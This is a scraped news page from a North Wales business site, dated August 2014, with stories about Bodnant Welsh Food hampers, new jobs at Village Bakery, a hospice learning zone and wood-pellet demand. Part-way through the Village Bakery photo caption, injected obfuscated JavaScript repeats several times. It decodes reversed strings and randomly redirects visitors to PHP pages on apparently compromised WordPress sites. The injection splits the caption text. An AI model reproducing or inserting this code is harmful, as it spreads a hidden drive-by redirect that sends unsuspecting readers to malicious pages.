Category: News

Bodnant Welsh Food challenges the top shops with luxury hampers

Bodnant foods .. Pictured with the Hampers is Gemma Williams and Becky Williams.

A centre of excellence for Welsh food is going head to head with top shops like Harrods and Fortnum & Mason after launching a range of luxury hampers.

Chris Morton, the Managing Director of Bodnant Welsh Food, believes that by challenging established suppliers with its own high quality packages they are enabling artisan food producers to reach a whole new group of discerning customers.

Bodnant Welsh Food, set in the beautiful Conwy Valley, is located in a building dating from the 18th century which has been lovingly restored and includes a farm shop, tea room, restaurant, cookery school, and farmhouse accommodation.

The centre was officially opened by the Prince of Wales and the Duchess of Cornwall in 2012.

Chris said: “I’m well aware that the hamper market is one which isn’t short of competition.

“In fact, it’s very hard-fought by the likes of Harrods, Fortnum & Mason and a whole wealth of other suppliers, including some very well-known farm shops.

“But as overcrowded as the market is, we do not believe that anyone at the moment is effectively promoting Welsh food in the form of hampers.

“Bodnant is in an area which is rich in artisan producers and we all deserve a share of the hamper market.

“We believe that we can help many of the producers who supply Bodnant to reach new customers through the development and growth of the hamper business.

“Our aim is to promote the best in Wales and we have been in contact with a number of our key suppliers and asked them to prepare unique products based on local Welsh produce which will enable us to sell the very best that is available throughout the UK.”

Bodnant Hampers range in price from £20 to over £250 and come in a wide range of presentations based on different themes, such as chocolate, sparkling wine and chocolate, gourmet, lovers, Christmas and Easter.

The hampers also contain an assortment of products all hand crafted on site at Bodnant, either in the dairy, the bakery or the butchery.

Amongst the most popular of the hampers, which are available at the farmshop or online, is the Welsh Artisan Food Hamper at £59.99, which includes such hand-made treats as elderflower cordial, Bodnant Lemon Curd, Bodnant Aberwen Cheese, apple blossom honey, Welsh teabags and Eboni ac Eifori Fudge.

One of the most expensive hampers, at £209.95, in the range is the Luxury Bodnant Welsh Food Artisan Food Hamper and that’s packed with delicacies including chicken liver and anchovy pate, traditional Welsh lavabread, cockles, cottage butter, honey biscuits and jewelled fruits in Madeira.

And especially for meat lovers is the Bodnant Meats Hamper, at £114.95, brimming over with a mouth-watering selection including Conwy Valley Welsh Black Topside Joint, local free range Gloucesterhire Old Spot Pork Leg Joint and home cured Free-Range local gammon joint.

For more information about Bodnant Welsh Food, go to:  http://www.bodnant-welshfood.co.uk/

Friday August 15th, 2014

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News

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New production line cooks up 26 jobs at Village Bakery in Wrexham

VILLAGE BAKERY VISIT FROM KEN SKATES AM. Pictured is Village Bakery Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Robin Jones with Ken Skates AM.

A new production line has created nearly 30 jobs at an award winning bakery.

The Village Bakery invested £600,000 in the state-of-the-art equipment at its site in Minera, near Wrexham, in North Wales.

The good jobs news was revealed during a visit by Clwyd South AM Ken Skates, who is also the Welsh Government’s Deputy Minister for Skills and Technology.

The bakery employs more than 300 people and has two other bakeries on Wrexham Industrial Estate where work has just started on building its new £3 million Baking Academy and Innovation Centre.

The family run firm, which is celebrating its 80th anniversary this year, was last year crowned as Wales’s fastest growing company.

The new production line in Miner is being used to make pancakes and pikelets, a regional variation of the crumpet which was developed in Wales in the 17th century before spreading to the West Midlands, Chester, Lancashire and Yorkshire.

Unlike a crumpet, the pikelet is not put in a ring when cooked on a griddle. As a result, it is thinner than a crumpet and has a more freeform shape, giving the pikelets a spongy texture and distinctive pores which make perfect pockets for butter and jam.

In an independent consumer test with blind tasting by members of the public, the own-brand Village Bakery Pancakes rated better than Waitrose, Sainsbury’s, Tesco and Warburton’s golden syrup scotch pancakes.

Mr Skates said: “The Village Bakery is an incredible place. There is so much technology but at the same time they have a clear focus on craft skills which enables them to make craft products on a wide scale.

“There is a great working environment here and a superb and incredibly well skilled workforce.

“Skills are what make or break a company and the Village Bakery has invested very heavily in the skills of its employees and its reaping the rewards of that.

“I am particularly pleased the new production line in Minera which was built with assistance from the Welsh Government has created 26 new jobs. That is fantastic news for the local area.

“They have a long-standing local sourcing policy for quality ingredients and they have their own butchers here so they know exactly what’s going into the products.

“The Village Bakery brand is at the highest premium level and they are role models for the rest of industry in Wales. Other employers would do well to look at the success of the Village Bakery and replicate that.”

Managing Director Robin Jones was grateful Mr Skates had taken time out of his busy schedule to visit the Village Bakery.

He said: “We have done a tremendous amount of work in Minera over the past year and the sales of our own-brand products as a result of a major rebranding have been fantastic.

“We have a really good bunch of craft bakers here who are making really great products.

“Our partnership with the Welsh Government has been a big part of our success story.

“The new production line and hotplate here in Minera has enabled us to make a fantastic range of pancakes and pikelets.

“I much prefer a pikelets to a crumpet. They are made with 100 per cent Welsh buttermilk from South Caernarfon Creameries in Gwynedd and you can just taste the quality of the buttermilk.

“We had always expected they would do well and the production line is now running seven days a week.

“The sales have just sky rocketed – we’re making 400,000 pikelets a week and 300,000 pancakes a week.

“At the end of the day, we are still a craft bakery but we are developing products that are tasty and wholesome using technology that can give us the necessary scale.

“These are really exciting times for the Village Bakery and I am delighted the contract to build the new Baking Academy and Innovation centre went to a local company, Anwyl Construction, who have a fantastic reputation.

“The Baking Academy will enable us to create the next generation of bakers and for all of this to happen during the year of our 80th anniversary is fantastic.”

Thursday August 14th, 2014

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Pioneering new learning zone opened at St Asaph hospice St Kentigern

St Kentigern Hospice opening of Learning Zone by Lady Langford. Pictured (front L/R) is Anita Curley,Ian Bellingham Chief Executive at St Kentigern , Lady Langford, Dinah Hickish during the official opening watched by Val Bailey, Jean Richard, Sarah Barnes and Tom Shea.

A new learning zone at a hospice is the first of its kind in Wales.

The education facility at St Kentigern Hospice in St Asaph will enable nurses and care practitioners from the independent sector particularly to learn the best ways to provide the best possible care for patients.

St Kentigern Hospice opening of Learning Zone by Lady Langford. Pictured (front) is Dinah Hickish with (L/R) Lady Langford, Ian Bellingham Chief Executive at St Kentigern and Anita Curley.

It was officially opened by the hospice’s President, Lady Susan Langford, and was made possible thanks to a £1,200 donation from the Royal College of Nursing (RCN).

The zone includes a laptop, a printer, wifi access, academic journals and books, and it will also be available for nurses and care practitioners in the wider community to use.

Recently, St Kentigern earned glowing praise after setting up the only nurse-led hospice probably in the Western Hemisphere which is attracting interest from across the UK and even across the globe.

The eight-bed in patient hospice with day care facilities provides unparalleled care for those with life-threatening and terminal illness, but has to rely on 80 per cent of its income from the generous donations of the public.

Dinah Hickish, Senior Advanced Nurse Practitioner at St Kentigern, believes strongly in the value of education, and supporting the independent sector in being able to access knowledge.

She said: “This will enable us to learn from each other and share best practice, and hopefully in the future we’ll be able to develop more initiatives.

“I feel very strongly that the patients receive the best palliative care through education.”

Valerie Bailey, Wales Union Learning Fund Project Manager for the RCN, said: “These learning zones are absolutely crucial I would say because it give that ethos where you value learning and development.

“It’s about creating that learning culture. This is an illustration of St Kentigern’s commitment to learning and also to the wider community and to the rest of the third sector.”

Valarie,  added: “When it comes to nursing you can’t stand still. You don’t just get your nursing qualification and that’s it. You’re always learning. There is a requirement on nurses that they continue with their professional development, and this is something that will enable them to do that.”

Ian Bellingham, Chief Executive of St Kentigern, added: “We’re delighted that  the RCN have worked with us and helped us to open this new facility; it is a real partnership working. It was very appropriate that our President Lady Susan Langford agreed to officially open the Learning Zone.

“Looking to the future it is essential than there will need to be more collaborative and partnership working. This initiative is an excellent example of how organisations can work together. We are indebted to our colleagues in the RCN and this is a fantastic resource we can maximise to everybody’s benefit.

“It can be used by our own nurses here in the hospice but also we are making it available to nursing colleagues from nursing homes.

“They’ll be able to undertake study and research in a comfortable environment that is specifically catered to learning with regard to palliative care. I think the important thing is that bringing more and more people into the hospice it enables us to not only promote our work but help colleagues understand what we do here at St Kentigern.

“Often people have got a misapprehension about what hospices are all about. So from our point of view, the more people we can bring into the hospice the better.

“It’s an illustration of the fact we are engrained into the community, and we couldn’t operate without community support. 80 per cent of our funding comes through the community. We get less than 20 per cent from the government.

“We’re very proud of the support we receive from the community and this is just another way of cementing our relationship with them.”

He also paid tribute to the hard work and dedication of Lady Langford: “She’s one of the founders of the hospice, and she has does an tremendous amount of work for us over the 19 years we’ve been in existence.”

Lady Langford paid tribute to the volunteers and the staff at St Kentigern.

She said: “I can’t say enough about all the volunteers. It staggers me their kindness and their generosity. We’re quite a small hospice, and we have over 500 volunteers on our list which I find amazing.

“Our staff are very special people, because it’s not easy to be around dying people all of the time, and they somehow don’t see it like that. To be able to give so much I think is incredible and I think they’re very special people.”

She also believes passionately about the role of the hospice in the community: “Until you’re dead you are alive, and when you die you want to die in loving surroundings, and to feel dignity in death.

“You want to be treated like you’re still a human being, and that’s what the hospice is all about. It’s providing the quality of life at the end of life which is extremely important.”

Wednesday August 13th, 2014

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Biomass heating scheme sparks huge demand for timber firm’s wood pellets

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A TOP North Wales timber company is reporting red hot demand for its speciality line of wood pellets sparked by government cash incentives for people to install the environment friendly biomass heating systems they burn.

Award-winning Clifford Jones Timber, based in Ruthin, annually churn out 30,000 tons of the pellets – which it describes as the “fuel of the future” – at a purpose-built 20,000 square foot factory at its Brickfield Lane home.

And the company says sales of the pellets have doubled since the UK Government launched its Renewable Heating Incentive (RHI) scheme in April this year.

Under the scheme a cash tariff of 12.2p per kilowatt hour (kWh) is being paid for up to seven years to people using biomass boilers to generate domestic heat.

The idea behind the scheme is that by increasing the generation of heat from renewable energy sources instead of fossil fuels, the UK will cut greenhouse gas emissions and meet targets for reducing the effects of climate change.

The ‘green’ biomass systems are fuelled by sustainable biological materials and are cleaner to operate than those using oil, gas or electricity.

The 6mm diameter fuel pellets produced by Clifford Jones Timber at its Blazers division plant are made from virgin wood and are a direct by-product of its Round Timber sawmilling which the company makes at the factory which opened in 2008 at a cost of £5 million.

Sales Manager Paul Clarke said: “Since the RHI scheme was brought in around Easter-time, using biomass boilers powered by wood pellets has been a no-brainer and more and more people are having them installed.

“They all need the right fuel to run them and lots of them have been coming to us, which has meant a large increase in our enquiries and sales.

“Over the past few months we’ve seen a tripling of enquiries for our ENPLUS A1 pellets and sales of them have doubled.

“This has given a big boost to our business and helped justify the major investment we made in our new plant in 2008.

“Our customers are coming from the domestic sector as well as places like care homes, leisure centres, school and hotels.

“We sell the pellets in 15 kg bags and also via our own Blown Delivery service, customers from the North Wales area are coming into our Ruthin base to pick them up. We can also arrange national deliveries.”

Paul added: “Wooden pellets for biomass are definitely the fuel of the future. In fact, that’s the slogan we have on the side of our delivery lorries.

“They burn with a high calorific value and burn cleaner than other fuels and their price also compares favourably. Even the ash they leave behind when they’re burnt can be used in the garden as a nutritious fertilizer.

“The pellets are being used to power not only heating boilers but also cookers and barbecues.

“Another use is to power the heating systems for swimming pools, which is something that’s been popular in the United States for a few years and is now catching on here too.”

Clifford Jones Timber was founded in 1948 and has been at its Ruthin base for 25 years.

Their proud claim is that every piece of the 100,000 tons of timber that comes through its gates every year is used, with none being wasted.

Apart from the fuel pellets, the range of products the company supplies includes the fencing of which they are a by-product – they are Britain’s biggest producer of round timber posts – along with gates, bedding for horses and even cat litter.

The range of wood fuels includes dried logs and wood briquettes.

The company uses timber from forests all over the UK and also has a second site at Gretna in Scotland where 10 staff are employed in addition to the 70 in Ruthin.

The company picked up a prestigious award for its innovative approach to business when it was honoured at the Achievement Wales Business Awards for 2013.

Clifford Jones timber took the Welsh Government’s Growth Through Innovation Award and was presented with their trophy at a glittering occasion hosted by BBC newsreader Nicholas Owen at Venue Cymru, in Llandudno.

In their submission, Clifford Jones Timber attributed their growth over the last 12 months to the introduction of Wales’s first timber laminating plant and the development of a new wooden-framed solar panel frame.

The two are linked because the frame is made from laminated timber made at the company’s own glulam laminating plant in Ruthin using hi tech adhesive used in the aerospace industry to produce a new generation of eco-friendly durable timber-based materials for the construction and leisure industries and now also for the renewables industry.

The company has invested more than £1.2 million in the new state of the art laminating equipment which gives them the capacity to supply high quality, durable laminated timber for the leisure and construction industries and has created 10 new jobs.

CJT also saw the potential to make solar energy even more eco-friendly by using laminated timber to make the world’s first commercially produced timber solar panel frame.

Wednesday August 13th, 2014

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News

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